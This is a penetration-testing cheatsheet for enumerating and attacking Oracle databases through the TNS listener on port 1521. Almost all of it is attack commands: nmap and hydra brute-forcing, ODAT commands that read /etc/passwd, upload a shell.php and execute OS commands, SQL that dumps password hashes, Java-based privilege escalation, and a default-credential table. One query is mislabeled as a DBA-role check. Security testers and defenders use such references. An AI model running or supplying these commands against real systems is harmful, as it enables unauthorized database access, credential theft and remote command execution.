Oracle TNS Enumeration Cheatsheet
Default Port: 1521 (TCP)
Nmap Scripts
nmap -p 1521 --script oracle-tns-version <ip>
nmap -p 1521 --script oracle-sid-brute <ip>
nmap -p 1521 --script oracle-brute <ip>
nmap -p 1521 --script oracle-brute-stealth <ip>
nmap -p 1521 --script oracle-enum-users \
--script-args oracle-enum-users.sid=<sid> <ip>
ODAT (Oracle Database Attacking Tool)
# Full automated scan
odat all -s <ip> -p 1521
# SID brute force
odat sidguesser -s <ip> -p 1521
# Password brute force (after getting SID)
odat passwordguesser -s <ip> -p 1521 -d <sid>
# File read/write (requires UTL_FILE privilege)
odat utlfile -s <ip> -d <sid> -U <user> -P <pass> --getFile /etc/passwd /tmp/passwd.txt
odat utlfile -s <ip> -d <sid> -U <user> -P <pass> --putFile /tmp shell.php shell.php
# OS command execution (requires Java)
odat java -s <ip> -d <sid> -U <user> -P <pass> --exec "whoami"
# External table method for file read
odat externaltable -s <ip> -d <sid> -U <user> -P <pass> --getFile /etc/passwd
sqlplus (Direct Connection)
# Install: sudo apt install oracle-instantclient-sqlplus
# Connect
sqlplus <user>/<pass>@<ip>:<port>/<sid>
sqlplus <user>/<pass>@<ip>:<port>/<sid> as sysdba
sqlplus <user>/<pass>@//<ip>:<port>/<service_name>
Common SIDs to Try
XE ORCL DB DATABASE
PROD TEST DEV ORACLE
OEMREP ORACLR_CONNECTION_DATA
Enumeration Queries (Once Connected)
-- Version and user
SELECT * FROM v$version;
SELECT user FROM dual;
SELECT * FROM session_privs;
-- Database objects
SELECT * FROM all_tables;
SELECT owner, table_name FROM all_tables WHERE owner != 'SYS';
SELECT column_name, data_type FROM all_tab_columns WHERE table_name = '<TABLE>';
-- Users and privileges
SELECT username FROM dba_users;
SELECT * FROM user_role_privs;
SELECT * FROM dba_sys_privs WHERE grantee = '<user>';
-- Password hashes (as SYSDBA)
SELECT name, password FROM sys.user$;
SELECT name, spare4 FROM sys.user$; -- SHA-1 hashes (11g+)
-- Check for DBA role
SELECT * FROM session_privs WHERE privilege = 'CREATE SESSION';
Privilege Escalation via Java
-- Grant Java permissions (as DBA)
EXEC dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute');
EXEC dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
EXEC dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
-- Execute OS command via Java
SELECT dbms_java.runjava('oracle/aurora/util/Wrapper /bin/bash -c "id > /tmp/out"') FROM dual;
Brute Force
hydra -l <user> -P wordlist.txt -s 1521 oracle://<ip>/<sid>
nmap -p 1521 --script oracle-brute \
--script-args oracle-brute.sid=<sid> <ip>
Default Credentials
| Username | Password | Notes |
|---|---|---|
| sys | change_on_install | sysdba |
| system | manager | |
| scott | tiger | Classic demo user |
| dbsnmp | dbsnmp | SNMP agent |
| mdsys | mdsys | |
| hr | hr |